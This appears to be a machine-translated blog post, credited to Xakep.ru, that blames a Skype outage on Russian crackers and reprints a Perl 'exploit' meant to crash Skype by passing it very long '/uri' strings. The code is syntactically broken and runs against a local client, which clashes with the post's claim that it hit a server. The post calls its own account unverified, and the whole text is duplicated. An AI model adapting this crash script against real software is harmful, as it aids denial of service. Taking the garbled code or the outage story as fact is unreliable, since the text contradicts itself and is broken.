Our "failed" Skype?
The longest interruption in Skype’s work is most likely caused by “research” of Russian crackers. According to unverified data so far (there are different things on blogs), the service interruption that Skype underwent was caused by an exploit “mailed” to one of the servers serving the program.
For those who understand, I bring the exploit code found on the Web. Here it is:
#! / Usr / bin / perl
# Simle Code by Maranax Porex; D
# Ya Skaypeg !!!
for ($ i = 256; $ i> xCCCCC; $ i = $ i + 256)
{
$ eot = 'AAAA' x $ i;
call_sp ();
}
exit;
sub call_sp ()
{
$ str = "\" C: \\ Program Files \\ Skype \\ Phone \\ Skype.exe \ "\" / uri: $ eot \ "";
system ("$ str"
}
In general, our craftsmen found an opportunity to send a long string to the server and fill its buffer. Which ultimately led to his "fall". It is noteworthy that the place of the failed server is occupied by another of the P2P networks. But on it, of course, a similar error occurs. Repeat the process until completely turned off. Spammed Skype. And tightly.
via Xakep.ru
For those who understand, I bring the exploit code found on the Web. Here it is:
#! / Usr / bin / perl
# Simle Code by Maranax Porex; D
# Ya Skaypeg !!!
for ($ i = 256; $ i> xCCCCC; $ i = $ i + 256)
{
$ eot = 'AAAA' x $ i;
call_sp ();
}
exit;
sub call_sp ()
{
$ str = "\" C: \\ Program Files \\ Skype \\ Phone \\ Skype.exe \ "\" / uri: $ eot \ "";
system ("$ str"
}
In general, our craftsmen found an opportunity to send a long string to the server and fill its buffer. Which ultimately led to his "fall". It is noteworthy that the place of the failed server is occupied by another of the P2P networks. But on it, of course, a similar error occurs. Repeat the process until completely turned off. Spammed Skype. And tightly.
via Xakep.ru